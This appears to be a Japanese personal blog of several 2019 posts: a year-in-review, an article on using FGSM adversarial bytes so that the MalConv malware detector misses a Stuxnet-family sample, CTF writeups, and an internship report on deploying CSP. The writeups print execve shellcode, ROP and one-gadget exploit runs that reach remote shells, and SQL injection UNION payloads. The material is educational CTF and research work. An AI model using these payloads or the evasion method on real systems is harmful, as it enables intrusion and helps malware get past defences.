2019年を振り返る
去年のはこれ
雑だけど今年も。
帰省中の電車の中で書いてる。
1月
初日の出
年明けは会津で迎えて、初日の出が見たくなったから車で猪苗代湖まで一人で行ってきた時に撮った写真。1時間くらいはいろんな写真撮ってて、寒かったけどいいものが撮れて嬉しかった。
2月

絵ろうそく祭り
去年も行った絵ろうそく祭り。めちゃ綺麗なので行くべき。
3月
pixivインターンシップ
最高のインターンシップを経験している様子。
詳細は以下。
4月
急性扁桃炎
急性扁桃炎になった。薬処方されすぎやろってくらい処方されてびびった。喉をものが通る度に激痛だった記憶。
5月
車をこすった。思ったほど大ごとにならなくて助かった。
この頃は快活に出入りすることが多くて、アオハライドを読み漁ってた。アオハライドは青春を感じられるのでよい。
6月
自損事故
事故を起こした。那須ハイに行った帰りに、酔い止めを飲んでた副作用だと思うけど睡魔に襲われて、山道ばかりだったけどとりあえずどこかで停車するべきだったと後悔してる。自分の怪我は別に大したことなかったけど、同乗者に怪我をさせてしまったり車も廃車になり、とてつもない罪悪感で一週間ぐらいはずっと精神が終わってた。眠気を感じたらすぐに停車しましょう。
7月
Hardening Ⅱ SU
Hardeningに参加した。初の北海道上陸でもあった。自分は脆弱性の修正やサーバー周りの細かい作業を担当。売り上げだけ見れば1位だった気がするけど、連合という制度があったりその他細かい評価指標があって、何だかんだなにも賞がもらえず悔しかった。
8月

無
特になにもしてない。研究を少し進めてみたり近所の神社やお祭りの写真撮ったり。
9月

入院生活
3週間入院した。自宅の階段でやらかしをしてしまい、腰の骨を圧迫骨折してしまった。その場にいた友人2人には救急車呼んでもらったり荷物持ってきてもらったり、めちゃくちゃ助けてもらって本当に感謝しかない。初めて救急車乗ったし初めて入院もした。腰への影響があるため、ベッドを起こしていい角度の上限が決まってたり尿瓶を使わなきゃいけなかったりして、ストレスフルな環境だったので精神的にも厳しかった。ちなみに圧迫されて変形した骨が元に戻ることはないらしく、身長が縮んだ疑惑がある。もう若くないので慎重な生活を心がけます。
10月
内定式&SECCON
内定式、SECCONなどがあった。
SECCONはまた今年も順位が上がったものの、自分は1問しか解けてなくて完全に戦犯をしたので来年こそは決勝行けるように精進します…
11月
研究
研究をしていた以外の記憶がないです。
12月

ライブ
the peggiesのライブ2度目。激アツ優勝ライブだった。
東京イルミ
東京、イルミネーションに溢れていてどこにいても目にするから希少価値ないやんとか思ってたけど綺麗なものは綺麗なので撮ってた。
SSD換装
SSDを1TBに換装した。ストレージ不足地獄からの脱却。
おわりに
今年を漢字一文字で表すならとか人々はよくやってるけど、自分の場合完全に「災」で、年明けに厄除けをしたのにも関わらず災難ばかりだった。効果がないのか、なんやかんや死に至らずに生きてるから効果があるのか。
来年は健康的な生活を送りたいです。
FGSMを使ってマルウェア検知器(MalConv)を回避する
これはAizu Advent Calendar 2019の11日目の記事です。(遅れて申し訳ありません…🙇♂️🙇♂️🙇♂️)
前の人は id:xatu0202 さんで,
次は id:shota-df-412 さんです.
はじめに
昨今、観測されるマルウェアの数は膨大になり、シグネチャベースのマルウェア検知・分類は難しくなっています。そのため、機械学習や深層学習を使用してマルウェア検知・分類を行う研究が盛んに行われていますが、MalConvというディープラーニングモデルをご存知でしょうか。
この記事では、FGSMという手法を用いてMalConvというCNNベースのマルウェア検知器を回避してみます。
※Adversarial Examplesの検証を目的としており、不正な攻撃を助長するものではありません。
MalConvとは
MalConvは、2017年にNVIDIAの研究チームらにより発表された Malware Detection by Eating a Whole EXEで提唱されています。それまで、ニューラルネットワークをマルウェア検知器に適用している研究はほとんどなく、実行ファイル全体を入力として受け取ってマルウェア検知している研究は存在していませんでした。また、マルウェア検知に使用する特徴量の抽出には多くのドメイン知識が必要でしたが、MalConvはそのようなドメイン知識の使用の最小化を目的とし、実行ファイルのraw byte sequenceのみを入力として受け取るようなCNNベースのマルウェア検知器であり、高い精度でマルウェアを検知できています。
それまで手作業で行ってきた特徴抽出の必要がなくなり、実行ファイルのみを入力として与えることで、モデル自身が特徴量を学習してマルウェアを検知することができます。そんな素晴らしい技術ですが、果たして欠点はないのでしょうか?
Adversarial Examplesについて
機械学習のモデルの精度を考慮する際、Adversarial Examplesの存在は欠かせません。
有名なのはこの画像ですが、パンダと分類されるべき画像に摂動というものを加えることでテナガザルと分類させています。これは非常に重要な問題であり、機械学習のモデルを実世界に適用する際に様々な被害が考えられます。
Adversarial Examplesについては以下が詳しいです。
PEファイルにおけるAdversarial Examplesを考える
MalConvの論文では、データセットにPEファイルを使用していましたが、PEファイルにおけるAdversarial Examplesは通常のAdversarial Examplesとなにが異なるのでしょうか。
通常は画像全体にノイズがかかるような形で摂動を加えるのですが、PEファイルでも同様の行為をしてしまうと機能性が失われてしまうという問題があります。例えば、実行に必要な多くの情報が含まれているPEヘッダーの不用意な変更は、プログラムをクラッシュさせることに繋がり、実行ファイルとして動作しなくなってしまう恐れがあります。他の領域においても同様で、1ビット書き換わるだけでクラッシュしてしまう危険性が増加するため慎重に扱う必要があります。
ではどのようにしてAdversarial Examplesを作るのかというと、
- 新しいセクションを作る
- ファイルの末尾に追加する
などの手法が取られています。1ではLIEFというライブラリがよく使われていて、PEに限らずELFやMachOなどのフォーマットをパースしたり変更を加えることが可能です。
2ですが、これはPEファイルに限った話ではありませんが、PEファイルの末尾にどのようなバイト列を追加しても問題なく動作するため、任意のバイト列を追加する場所としてファイルの末尾が使用されます。
これらの手法を用いて、benignと判定されるような特徴を追加していく、というのがPEファイルにおけるAdversarial Examplesの基本です。
Machine Learning Static Evasion Competitionとは
今年のDEFCON AI Villageで開催されていたコンペであり、MalConvを含めた3つのモデルによる検知を回避する技術を競います。最終的に50個のmaliciousなPEファイルを回避させる必要があります。また、white-box attackを考えるので、ソースコードは与えられます。
以下のブログでは、3つのモデルに対するwrite upが紹介されています。面白いのでおすすめ。
Fast Gradient Sign Method(FGSM)を使ってMalConvを回避してみる
Fast Gradient Sign Method(FGSM)とはAdversarial Examplesを作る手法の一つであり、重みを固定して入力を変化させながらAdversarial Examplesを求める方法よりも、誤差逆伝播を使って一度勾配を計算するだけなので高速ということらしいです。
これも詳しくは、上で掲載したサイト( はじめてのAdversarial Example )に載っています。
前置きがだいぶ長くなりましたが、FGSMを使ってMalConvを回避(FGSM attack)してみます。MalConvは上記のMachine Learning Static Evasion Competitionで使われていたモデル(EMBER 2018 binariesで学習させたもの)を使用します。(EMBERはEndgameが2018年4月に公開したオープンソースのデータセットです)
Machine Learning Static Evasion Competitionで使用されたコードは以下にあります。
今回はMalConvによる検知のみを回避するので、他の2つのモデルは扱いません。models.pyをMalConvのみ使うように変更して、結果だけでなくbenignとmaliciousそれぞれのrateも出力するようにしました。
import torch import torch.nn.functional as F from MalConv import MalConv import numpy as np MALCONV_MODEL_PATH = 'models/malconv/malconv.checkpoint' class MalConvModel(object): def __init__(self, model_path, thresh=0.5, name='malconv'): self.model = MalConv(channels=256, window_size=512, embd_size=8).train() weights = torch.load(model_path,map_location='cpu') self.model.load_state_dict( weights['model_state_dict']) self.thresh = thresh self.__name__ = name def predict(self, bytez): _inp = torch.from_numpy( np.frombuffer(bytez,dtype=np.uint8)[np.newaxis,:] ) with torch.no_grad(): outputs = F.softmax( self.model(_inp), dim=-1) print('benign: {}'.format(outputs[0][0].item())) print('malicious: {}'.format(outputs[0][1].item())) return outputs.detach().numpy()[0,1] > self.thresh if __name__ == '__main__': import sys with open(sys.argv[1],'rb') as infile: bytez = infile.read() # thresholds are set here malconv = MalConvModel(MALCONV_MODEL_PATH, thresh=0.5) print(f'{malconv.__name__}: {malconv.predict(bytez)}')
試しにこの学習済みモデルでマルウェアを検知してみます。検体はtheZooにあるTrojanWin32.Duqu.Stuxnetを使用しました。
$ python3 models.py win32.exe benign: 0.0066443816758692265 malicious: 0.9933556318283081 malconv: True
99%maliciousだと判定されています。これをbenignと判定させることが目的です。
FGSM attackの実装
FGSM attackを実装するにあたって、今年の1月に発表された Deceiving End-to-End Deep Learning Malware Detectors using Adversarial Examples を参考にしました。
完成したものがこちらです。
実行してみます。
$ python3 fgsm_attack.py win32.exe [1] Benign: 0.0066236 , Malicious: 0.99338 Loss: 1.3036 Reconstruction phase: 100%|████████████████████████████████████████████████████████████████████████████████████████████████| 640/640 [00:08<00:00, 79.76it/s] sum of perturbation: 84646.0 [2] Benign: 0.52506 , Malicious: 0.47494 Loss: 0.66841 Reconstruction phase: 100%|████████████████████████████████████████████████████████████████████████████████████████████████| 640/640 [00:07<00:00, 80.97it/s] sum of perturbation: 84640.0 Evasion rates: 0.52506 win32_AEs.exe has been created.
(摂動の値の合計値も出力しているのは、この値に変化がない場合は上手く生成できていない可能性があるからです…。epsが低い場合や摂動のサイズを小さい値で固定してテストしてみた時に発生していました。)
作成されたAdversarial ExamplesをMalConvで判定してみます。
$ python3 models.py win32_AEs.exe benign: 0.9517970681190491 malicious: 0.04820294678211212 malconv: False
見事にbenignだと判定されました。追加された摂動を見てみます。
ファイルの末尾に追加された一見ランダムに見えるこのバイト列ですが、MalConvではこの数百バイトが原因でmaliciousと判定されるべきファイルがbenignだと判定されてしまいました。
Deceiving End-to-End Deep Learning Malware Detectors using Adversarial Examples で行われていた方法は単純で、 c + (c − len(x) mod c): (cはconv size、xは入力ファイル)
で求まったサイズのランダムバイト列(0~255の範囲)を生成し、それを入力ファイルの末尾に加えたものをMalConvで判定させ、benignである識別率が0.5を上回るまでFGSMを用いて摂動を変更していくだけです。
最後に
Machine Learning Static Evasion Competitionのwrite upを書いていた方は10万バイトの0xA9を追加したり、benignなファイルの文字列を追加したりしていましたが、FGSM attackの場合は1000バイト以下のバイト列を末尾に付与するだけでMalConvによる検知を回避することができました。もちろん、コンペにおいては他の2つのモデルによる検知も同時に回避する必要があるのでこれだけでは不十分だと思いますが。
また、詳しくは言及しませんが、Adversarial Trainingという方法を使うとAdversarial Examplesに対してある程度ロバストになることも知られています。
実際に世の中で使用されているCylance製のアンチウイルスにおいて、このAdversarial Examplesが問題になったこともあるため、見過ごすことのできない課題の一つになっていることは確かです。
参考
https://devblogs.nvidia.com/malware-detection-neural-networks/
https://github.com/yuxiaorun/MalConv-Adversarial/blob/master/src/model.py
Beginners CTF 2019 Writeup
Seccompare
コマンドライン引数で文字列を渡して,それが正解かどうかstrcmpで比較してる.よって,ltraceを使えば比較対象であるフラグが求まる.
$ ltrace ./seccompare hoge strcmp("ctf4b{5tr1ngs_1s_n0t_en0ugh}", "hoge") = -5 puts("wrong"wrong ) = 6 +++ exited (status 0) +++
Leakage
is_correct関数で入力値を1文字ずつチェックしていて,比較対象はenc_flagを1文字取ってきてconvertに入れたもの.また,入力値は34文字でないといけない.convertの中身を読みたくなかったので,convertの直後にブレークポイントを貼って,戻り値が格納されるraxを1文字ずつ観察した.(頭悪い解法っぽい)
ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}
Linear_Operation
is_correct関数で入力値をチェックしている.処理がなかなかに複雑だったのでangrで解いた.
$ python solve.py WARNING | 2019-05-26 00:24:53,683 | angr.analyses.disassembly_utils | Your verison of capstone does not support MIPS instruction groups. WARNING | 2019-05-26 00:24:54,344 | angr.factory | factory.path_group() is deprecated! Please use factory.simgr() instead. Deprecation warning: Use eval_upto(expr, n, cast_to=str) instead of any_n_str ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}
shellcoder
binshという文字列を使ってはいけないシェルコードコーディング問題.
0x00080000: movabs rbx, 0x38237f7f3e39327f 0x0008000A: movabs rax, 0x5050505050505050 0x00080014: xor rbx, rax 0x00080017: xor esi, esi 0x00080019: push rsi 0x0008001A: push rbx 0x0008001B: push rsp 0x0008001C: pop rdi 0x0008001D: xor rax, rax 0x00080020: mov al, 0x3b 0x00080022: xor edx, edx 0x00080024: syscall syscall
こんな感じでxorでなんとかした.
$ python exploit.py [*] Checking for new versions of pwntools To disable this functionality, set the contents of /home/yyy/.pwntools-cache/update to 'never'. [*] A newer version of pwntools is available on pypi (3.5.0 --> 3.12.2). Update with: $ pip install -U pwntools [+] Opening connection to 153.120.129.186 on port 20000: Done [*] Switching to interactive mode Are you shellcoder? $ ls flag.txt shellcoder $ cat flag.txt ctf4b{Byp4ss_us!ng6_X0R_3nc0de} $ exit
OneLine
一度0x28分readしてその後 call rax
するんだけど,raxはwriteの関数ポインタになっていて,それはreadで読み込む領域に存在しているので上書きが可能.
これと同じ処理が2回走るので,1度目は適当に短い文字列を入れてwriteの関数ポインタを上書きしないようにして,1度目の call rax
でwriteの関数ポインタをリークしてlibcのベースアドレスを求める.そして2回目のreadで関数ポインタをone-gadget RCEに書き換えた.one-gadget RCEを探すツールでlibc内を検索したら3つあったんだけど,1つ目では条件が合わずにうまく起動できなかった.
$ python exploit.py [+] Opening connection to 153.120.129.186 on port 10000: Done [*] '/home/yyy/ctf/all/Beginners_CTF_2019/pwn/OneLine/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled You can input text here! >> 0x7fe15586a140 0x7fe15575a000 \x00\x00Once more again! >> [*] Switching to interactive mode $ ls flag.txt oneline $ cat flag.txt ctf4b{0v3rwr!t3_Func7!on_p0int3r} $ exit
Dump
与えられたpcap内にフラグを8進数表示したものがあったので,取り出してまずはスペース区切りに整形した.
その後こんな感じのスクリプトを書いて,ファイルに変換した.gzipで圧縮されたものだったので, gunzip -c flag > hoge
とかした後に出てきたものが今度はtarでアーカイブされたものだったので, tar xvf hoge
をするとフラグが書かれたflag.jpgが取り出せた.
Ramen
SQLiがある. 'or 1=1;#
で全件表示できたので, 1' UNION SELECT table_name, null FROM INFORMATION_SCHEMA.COLUMNS; #
をしたらflagというテーブルがあるのがわかった.あとは 1' UNION SELECT *, null from flag;#
でフラグをみた.
Harekaze CTF 2019 Baby ROP, Baby ROP 2, scramble
Baby ROP
バッファオーバーフローがあり,バイナリ内にsystemも用意されていたのでROPでsystemに飛ばすだけ. /bin/sh
もバイナリ内にあったのでそれを使った.
$ python exploit.py [+] Opening connection to problem.harekaze.com on port 20001: Done [*] Switching to interactive mode What's your name? $ ls bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var $ ls /home babyrop $ ls /home/babyrop babyrop flag $ cat /home/babyrop/flag HarekazeCTF{r3turn_0r13nt3d_pr0gr4mm1ng_i5_3ss3nt141_70_pwn} $ exit
Baby ROP 2
同じくバッファオーバーフローがあるが,バイナリ内にsystemが存在しないのでlibcのアドレスをleakしてからlibc内のone-gadget RCEに飛ばした.
$ python exploit.py [+] Opening connection to problem.harekaze.com on port 20005: Done [*] '/home/yyy/ctf/all/HarekazeCTF2019/pwn/babyrop2/babyrop2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/home/yyy/ctf/all/HarekazeCTF2019/pwn/babyrop2/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled What's your name? Welcome to the Pwn World again, AAAAAAAAAAAAAAAAAAAAAAAAAAAAI! 0x7f1d378f7250 0x7f1d37800000 What's your name? [*] Switching to interactive mode Welcome to the Pwn World again, AAAAAAAAAAAAAAAAAAAAAAAAAAAA9! $ cat /home/babyrop2/flag HarekazeCTF{u53_b55_53gm3nt_t0_pu7_50m37h1ng} $ exit
scramble
入力を受け取ってscrambleという関数に渡してから,その結果を元にxorとかして正解かどうか判定するcrackme系の問題.
Ghidraでデコンパイルしてみたけどscrambleの処理があまり読みたくないものだったし,解かれてるスピードが異常に速かったのでangrとかでいけるだろうと思ってangrで解いた.
最初は "Harekaze{" で始まるだろうなぁとか推測して少し複雑にスクリプトを書いていたけど全く求まらなくて,以下のように単純なスクリプトにしたらすぐ出た.
$ python solve.py WARNING | 2019-05-19 12:11:42,304 | angr.analyses.disassembly_utils | Your verison of capstone does not support MIPS instruction groups. WARNING | 2019-05-19 12:11:42,469 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000. WARNING | 2019-05-19 12:11:42,489 | angr.factory | factory.path_group() is deprecated! Please use factory.simgr() instead. Dump stdin at succeeded(): 'HarekazeCTF{3nj0y_h4r3k4z3_c7f_2019!!}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
DEF CON CTF Qualifier 2019 speedrun-001~003
speedrun-001
$ ./speedrun-001
Hello brave new challenger
Any last words?
hoge
This will be the last thing that you say: hoge
Alas, you had no luck today.
バッファオーバーフローがあるので,ROPで execve("/bin/sh", NULL, NULL)
を呼ぶようにした.
$ python exploit.py [+] Opening connection to speedrun-001.quals2019.oooverflow.io on port 31337: Done Hello brave new challenger Any last words? [*] Switching to interactive mode This will be the last thing that you say: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86\x06@ $ ls - banner_fail bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin service.conf speedrun-001 srv sys tmp usr var wrapper $ cat /flag OOO{Ask any pwner. Any real pwner. It don't matter if you pwn by an inch or a m1L3. pwning's pwning.} [*] Got EOF while reading in interactive
speedrun-002
$ ./speedrun-002
We meet again on these pwning streets.
What say you now?
hoge
What a ho-hum thing to say.
Fare thee well.
これも同様バッファオーバーフローがあり,ROPからret2libcでsystemを呼ぼうとしたがローカルではうまくいくのにリモートではうまくいかない問題が起きてて,どうやらリモートではsystem関数が使えないように制限されてたっぽいので,001同様直接システムコールを使うようにしたらシェルが取れた.
$ python exploit.py [+] Opening connection to speedrun-002.quals2019.oooverflow.io on port 31337: Done [*] '/home/yyy/ctf/all/DEF_CON_2019/speedrun-002/speedrun-002' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/home/yyy/ctf/all/DEF_CON_2019/speedrun-002/libc/lib/x86_64-linux-gnu/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled We meet again on these pwning streets. What say you now? What an interesting thing to say. Tell me more. Fascinating. leak_addr: 0x7f4b03669140 libc_base: 0x7f4b03559000 system_addr: 0x7f4b035a8440 We meet again on these pwning streets. What say you now? What an interesting thing to say. Tell me more. Fascinating. [*] Switching to interactive mode $ cat /flag OOO{I_didn't know p1zzA places__mAde pwners.} $ exit [*] Got EOF while reading in interactive
speedrun-003
$ ./speedrun-003 Think you can drift? Send me your drift hoge You're not ready.
シェルコード問題.30バイトのシェルコードを入力する必要があり,前半部分それぞれをxorした値と後半部分それぞれをxorした値が等しくないといけない.
48 bb 2f 62 69 6e 2f movabs rbx,0x68732f6e69622f 73 68 00 31 f6 xor esi,esi 56 push rsi 53 push rbx 54 push rsp 5f pop rdi b0 3b mov al,0x3b 31 d2 xor edx,edx 0f 05 syscall
シェルコードはこのようなものを使用したが,これは22バイトなのでいい感じに調整した.具体的には,前半部分を push rsp
までにして,残りの部分は xor edx, edx
を4つに増やすことでバイト数をかさ増ししたり,同じxor値になるように mov al, 0x3b
を2つに増やし,前半の 0x3b
の部分を変化させながら,最終的に mov al, 0x5a
にした.
$ python exploit.py [+] Opening connection to speedrun-003.quals2019.oooverflow.io on port 31337: Done [*] Switching to interactive mode Think you can drift? Send me your drift $ cat /flag OOO{Fifty percent of something is better than a hundred percent of nothing. (except when it comes to pwning)} $ exit [*] Got EOF while reading in interactive
ASIS CTF Quals 2019 Key maker
問題文
The Keymaker: Only the One can open the door. And only during that window can that door be opened. Niobe: How do you know all this? The Keymaker: I know because I must know. It is my purpose. It is the reason I am here. The same reason we are all here.
PEファイルを解析する問題.ポイントは最終的に93で,solve数は51だった.
$ file key_maker.exe key_maker.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
$ key_maker.exe KeyMaker is old, you are the one to help Neo!! Please enter licence key: hoge Sorry, given licence is invalid!
crackmeだとわかる.適切なライセンスキーを入力する必要がある.
入力値を扱っている箇所の逆アセンブル結果が少々複雑なため,最近話題のGhidraを初めて使ってデコンパイルしてみたが,かなりよかった.以下はmain関数のデコンパイル結果.
50文字の入力をFUN_00401637に渡していて,この関数が入力値を検証するものだとわかる.
FUN_00401637では,最初のif文で入力値の17文字目と34文字目が _
になっているか,5文字目と最後の文字を掛け合わせた結果が0x3c0fになっているか(これはつまり,5文字目が {
で,最後の文字が }
かどうか)を確認している.この時点で正規のライセンスキーが,ASIS{........}
みたいなフラグの形式になっていそうだとわかる.
その後,3つのWhileループで _
を除いた文字を3分割,つまり16文字ずつ,36進数( strtol(&local_38,(char **)0x0,0x24)
)で配列に代入している.
その後,3つの配列の全ての組み合わせ,6通りをFUN_00401530の第1引数と第2引数に渡し,第3引数に渡した配列にFUN_00401530での演算結果を代入するような仕組みになっている.
肝心のこの関数では,param1とparam2やカウンタ変数などを使って加算処理を行って,結果をparam3に代入している.この結果,param3に渡された配列には16個の要素が入ることになる.
FUN_00401637をもう一度見てみると,作成した6つの配列をそれぞれとある要素(*(int *)(&DAT_00404040 + ((longlong)local_20 + (longlong)local_1c * 4) * 4)
みたいなの)と比較している.これは,以下の部分にそれぞれ4バイトで計64個格納されている値のこと.
以上の解析結果から,z3を使用して解く方針で進める.
完成したスクリプトは以下.
実行結果.
$ python key_maker.py [u_15 = 0, u_14 = 3, u_13 = 14, u_12 = 21, u_11 = 12, u_10 = 4, u_9 = 27, u_8 = 24, u_7 = 27, u_6 = 3, u_5 = 20, u_4 = 4, u_3 = 22, u_2 = 34, u_1 = 3, u_0 = 20, t_15 = 0, t_14 = 24, t_13 = 0, t_12 = 24, t_11 = 14, t_10 = 23, t_9 = 13, t_8 = 23, t_7 = 10, t_6 = 34, t_5 = 7, t_4 = 18, t_3 = 23, t_2 = 1, t_1 = 27, t_0 = 29, s_15 = 33, s_14 = 33, s_13 = 33, s_12 = 1, s_11 = 27, s_10 = 7, s_9 = 4, s_8 = 22, s_7 = 3, s_6 = 17, s_5 = 7, s_4 = 0, s_3 = 28, s_2 = 18, s_1 = 28, s_0 = 10] flag: ASIS{7H3M47R1XXX_TR1NI7YANDNEO0O0_K3YM4K3ROR4CLE3}
この問題のCategory, Reverse
Baby
warm-up
となっていてびびる.
pixiv SPRING BOOTCAMP 2019のセキュリティコースに参加して最高の体験をしてきた
はじめに
念願のpixivインターンに行ってきました.
pixivは高校生の時ぐらいから知っていて,実際に絵を投稿したのは大学に入ってからですが,お絵描きを趣味とする自分にとってはとても身近な存在でした.インターンシップに参加している学生の様子をSNSで見ているととても楽しそうで,いつか自分も参加してみたいと思うようになりました.
また,バグバウンティを行っているということも魅力的でした.日本でバグバウンティをやっている企業はまだまだ少ないですし,絵を投稿する場として利用しているサービスが,実はセキュリティにも力を入れていることを知った時はpixivに対してより一層興味を抱きました.
実は,去年の夏インターンシップでも応募をしていました.その時はセキュリティコースはなく,Railsを多少やっていた自分はRailsで作られているBOOTHのコースで応募したのですが,書類選考後の面談でお祈りをいただいてしまい,半ば諦めていました.ですが今回春インターンがあるということで最後のチャンスだと思い,今回は自分が将来仕事にしたいと思っているセキュリティのコースで応募しました.
参加するまで
面談ではコードテストがあるというのはメールで聞いていて,夏に受けた時はなんの問題もなく書けたので今回もいけるだろうと思っていたら,コードテストの前にWebセキュリティに関する知識を問われて少しドキッとしました.
コードテストは頭が真っ白になりかけたりしたのですが,面接官の方達が優しかったのでなんとかなりました.その後,合格通知が来た時は思わずにやけそうになりました.セキュリティコースは今回初めて作られたものらしく,第1号ということでさらに嬉しくなりました.
業務開始まで
前日になかなか寝付けなかったのですがなんとか起きれて,無事オフィスへ到着しました.エレベーターを降りたら早速絵馬があって興奮していたのですが,オフィスへ到着するもセキュリティカードがないため入れず,うろうろと不審者化していました.
その後,他のインターン生の方とお互いに軽く自己紹介をしてからNDAを結んだり人事のkamikoさんのお話を聞いたり,軽くオフィスを見学してから毎週水曜日に開催されている全社会議に参加させていただきました.ここでは各プロジェクトからの報告があった後,27日から参加の4人のインターン生は自己紹介をしました.全社員の前での自己紹介,緊張しかない.
セキュリティカードと一緒に名札も貰いました.
全社会議の後は全社ランチということで,自分のテーブルでは7人くらいでご飯を食べました.隣にいたhakatashiさんはルービックキューブをやっているということでものすごく親近感が湧きました.特に僕のメンターのkoboさんとhakatashiさんとはCTFのお話ができて良さみがありました.
2/27~3/1
CSPの導入①
この期間で主にやったことはVRoid HubへのContent Security Policy(CSP)の導入です.
CSPとはXSSやその他いくつかの攻撃を防ぐためのセキュリティレイヤーであり,これを使用することで悪意のあるコードの実行を防ぐことができます.CSP Level2 まではドメインの指定によるホワイトリスト方式が推奨されてきましたが,それがバイパス可能だということがわかってきました.そのため現在のLevel 3では nonce+strict-dynamic が推奨されていて,nonceが付与されたscriptタグしか許可しないようにします.また,strict-dynamicを付けることで nonce が付与されたscriptタグ内で動的に生成されたscriptタグも正常に動作するようになるので,アプリケーション本来の動作に影響を及ぼさずにCSPを導入することが可能になります.その他,主に付けるべきディレクティブは script-src
と object-src
と base-uri
です.
ここら辺のお話はメンターのkoboさんが書いた以下の記事がとても詳しいです.
CSPの導入は次のように進めていきました.
- 試しに
default-src: 'self'
みたいなものだけ設定してCSPの違反がブラウザのコンソールに出ることを確認 script-src
object-src
base-uri
の3つのディレクティブを設定- nonceをscriptタグに設定していく
- CSPの違反やnonceの付与漏れなどないことを確認したら,ブラウザごとに出し分けを行う
- CSPをReport Onlyモードで動かす
- report uriに設定したURLにてCSPの違反レポートを確認して,修正できるものは修正
- Report Onlyを外す
バグバウンティ関連①
その他にやっていたこととして,HackerOneに届いているレポートを過去のものも含め全て読んでいいということだったので,空き時間はひたすらレポートを読み漁っていました.なかなか世界中のハッカーが送ってくるレポートを読める機会などないと思いますし,こういう視点でバグを見つけて攻撃をするんだなというハッカーの視点のようなものを養うことができて非常に参考になりました.
エンジニア勉強会
毎週金曜日は勉強会が開かれているので参加しました. 今回はTECH SALONでLTをやる人たちのリハーサルの場でした.縦書きというユニークな話から,Kotlinの話,レイヤーの自由変形の話,CSP+SameSite cookieの話,HEIFの話まで,ジャンルも幅広く様々なお話を聞けました.僕は特にセキュリティな話が好きなのでメンターのkoboさんが話していたCSPとSameSite cookieの話を特に興味津々で聞いてました.SameSite cookieは知りませんでした.CSRF対策ということで,これから普及が進みそうな技術です.
3/4~3/6
CSPの導入②
金曜日にデプロイしない文化があるとメンターさんから教えてもらったので,3月4日の月曜日にいよいよContent Security Policy Report Onlyを有効化するPRをマージして,本番環境にデプロイしました(本番環境にデプロイするボタンをメンターのkoboさんに「このボタンを君に押して貰いたいんだ...!」と言われてクリックさせてもらえたのが印象的です).実際に動いているサービスへのコントリビュート,最高の体験です.
